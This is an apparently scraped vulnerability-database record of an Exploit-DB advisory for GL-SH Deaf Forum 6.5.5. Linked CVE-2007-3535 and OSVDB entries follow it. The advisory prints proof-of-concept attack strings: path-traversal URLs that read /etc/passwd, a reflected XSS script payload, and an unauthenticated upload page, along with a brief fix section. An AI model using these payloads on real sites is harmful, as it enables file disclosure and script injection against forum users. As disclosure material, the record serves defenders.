{"published": "2008-06-20T00:00:00", "id": "EDB-ID:5870", "cvss": {"score": 6.4, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:PARTIAL/I:PARTIAL/A:NONE/"}, "history": [], "enchantments": {"vulnersScore": 4.3}, "hash": "cf6a047234549d7e656223ef66a2a2bc61bc65260d7c787b8d2e762928b7ad74", "description": "GL-SH Deaf Forum <= 6.5.5 Multiple Remote Vulnerabilities. CVE-2007-3535. Webapps exploit for php platform", "type": "exploitdb", "href": "https://www.exploit-db.com/exploits/5870/", "lastseen": "2016-01-31T22:43:03", "edition": 1, "title": "gl-sh deaf forum <= 6.5.5 - Multiple Vulnerabilities", "osvdbidlist": ["37110"], "modified": "2008-06-20T00:00:00", "bulletinFamily": "exploit", "viewCount": 1, "cvelist": ["CVE-2007-3535"], "sourceHref": "https://www.exploit-db.com/download/5870/", "references": [], "reporter": "BugReport.IR", "sourceData": "########################## www.BugReport.ir #######################################\n#\n# AmnPardaz Security Research Team\n#\n# Title: GL-SH Deaf Forum <=6.5.5 Multiple Vulnerabilities\n# Vendor: www.frank-karau.de\n# Vulnerable Version: 6.5.5 and prior versions\n# Exploit: Available\n# Impact: High\n# Fix: N/A\n# Original Advisory: www.bugreport.ir/?/46\n###################################################################################\n\n####################\n1. Description:\n####################\n Gl-SH Deaf board is programmed a free board in PHP, without My SQL, With 10 Designs and 5 languages.\n####################\n2. Vulnerabilities:\n####################\n 2.1. Local File Inclusion (LFI) in \"/functions.php\" in \"FORUM_LANGUAGE\" parameter.\n 2.1.1. Exploit:\n Check the exploit/POC section.\n 2.2. File (image) Upload without premission.\n 2.2.1. Exploit:\n Check the exploit/POC section.\n 2.3. Cross Site Scripting (XSS). Reflected XSS attack in \"search.php\".\n 2.3.1. Exploit:\n Check the exploit/POC section.\n\n####################\n3. Exploits/POCs:\n####################\n Original Exploit URL: http://bugreport.ir/index.php?/46/exploit\n 3.1. Local File Inclusion (LFI) in \"/functions.php\" in \"FORUM_LANGUAGE\" parameter.\n -------------\n LFI:\n http://[URL]/[Forum Path]/functions.php?FORUM_LANGUAGE=/../../../../../../../../../../etc/passwd\n -------------\n 3.2. File (image) Upload with out premission.\n -------------\n Uploader link:\n http://[URL]/[Forum Path]/upload.php\n -------------\n 3.3. Cross Site Scripting (XSS). Reflected XSS attack in \"search.php\".\n -------------\n <form action=\"http://[URL]/[Forum path]/search.php\" method=\"post\">\n <tr><td class=g>XSS: <small></td><tr>\n &quot;&lt;SCRIPT&gt;alert(/BugReport.ir-XSS/.source)&lt;/SCRIPT&gt;\n <br><tr><td class=g><INPUT TYPE=\"text\" class=\"txt\" NAME=\"search\" SIZE=\"30\" MAXLENGTH=\"100\"><br/>\n <tr><td class=g><INPUT TYPE=\"RADIO\" checked NAME=\"type\" VALUE=\"themen\">&nbsp;search only in topics</td></tr>\n <tr><td class=g><INPUT TYPE=\"RADIO\" NAME=\"type\" VALUE=\"beitraege\">&nbsp;search in topics and answers</td></tr>\n <INPUT TYPE=\"SUBMIT\" class=\"btn\" NAME=\"submit\" VALUE=\"submit\"></td></tr>\n -------------\n####################\n4. Solution:\n####################\n Edit the source code to ensure that inputs are properly sanitized. check permission for upload page.\n####################\n5. Credit:\n####################\nAmnPardaz Security Research & Penetration Testing Group\nContact: admin[4t}bugreport{d0t]ir\nWwW.BugReport.ir\nWwW.AmnPardaz.com\n\n# milw0rm.com [2008-06-20]\n", "objectVersion": "1.2"}

{"result": {"cve": [{"id": "CVE-2007-3535", "type": "cve", "title": "CVE-2007-3535", "description": "Multiple directory traversal vulnerabilities in GL-SH Deaf Forum 6.4.4 and earlier allow remote attackers to include and execute arbitrary local files via a .. (dot dot) in the (1) FORUM_LANGUAGE parameter to functions.php or the (2) style parameter to bottom.php.", "published": "2007-07-03T16:30:00", "cvss": {"score": 6.4, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:PARTIAL/I:PARTIAL/A:NONE/"}, "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2007-3535", "cvelist": ["CVE-2007-3535"], "lastseen": "2017-09-29T14:25:24"}], "osvdb": [{"id": "OSVDB:37110", "type": "osvdb", "title": "GL-SH Deaf Forum functions.php FORUM_LANGUAGE Variable Local File Inclusion", "description": "## Manual Testing Notes\nhttp://[target]/[path]/functions.php?FORUM_LANGUAGE=../../../../../../../../../../../etc/passwd\n## References:\n[Secunia Advisory ID:25893](https://secuniaresearch.flexerasoftware.com/advisories/25893/)\n[Related OSVDB ID: 37111](https://vulners.com/osvdb/OSVDB:37111)\nOther Advisory URL: http://milw0rm.com/exploits/4124\nISS X-Force ID: 35160\n[CVE-2007-3535](https://vulners.com/cve/CVE-2007-3535)\n", "published": "2007-06-28T00:00:00", "cvss": {"score": 6.4, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:PARTIAL/I:PARTIAL/A:NONE/"}, "href": "https://vulners.com/osvdb/OSVDB:37110", "cvelist": ["CVE-2007-3535"], "lastseen": "2017-04-28T13:20:33"}, {"id": "OSVDB:37111", "type": "osvdb", "title": "GL-SH Deaf Forum bottom.php style Variable Local File Inclusion", "description": "## Manual Testing Notes\nhttp://[target]/[path]/bottom.php?style=../../../../../../.././etc/passwd%00\n## References:\n[Secunia Advisory ID:25893](https://secuniaresearch.flexerasoftware.com/advisories/25893/)\n[Related OSVDB ID: 37110](https://vulners.com/osvdb/OSVDB:37110)\nOther Advisory URL: http://milw0rm.com/exploits/4124\nISS X-Force ID: 35160\n[CVE-2007-3535](https://vulners.com/cve/CVE-2007-3535)\n", "published": "2007-06-28T00:00:00", "cvss": {"score": 6.4, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:PARTIAL/I:PARTIAL/A:NONE/"}, "href": "https://vulners.com/osvdb/OSVDB:37111", "cvelist": ["CVE-2007-3535"], "lastseen": "2017-04-28T13:20:33"}], "exploitdb": [{"id": "EDB-ID:4124", "type": "exploitdb", "title": "GL-SH Deaf Forum <= 6.4.4 - Local File Inclusion Vulnerabilities", "description": "GL-SH Deaf Forum <= 6.4.4 Local File Inclusion Vulnerabilities. CVE-2007-3535. Webapps exploit for php platform", "published": "2007-06-28T00:00:00", "cvss": {"score": 6.4, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:PARTIAL/I:PARTIAL/A:NONE/"}, "href": "https://www.exploit-db.com/exploits/4124/", "cvelist": ["CVE-2007-3535"], "lastseen": "2016-01-31T20:12:35"}]}}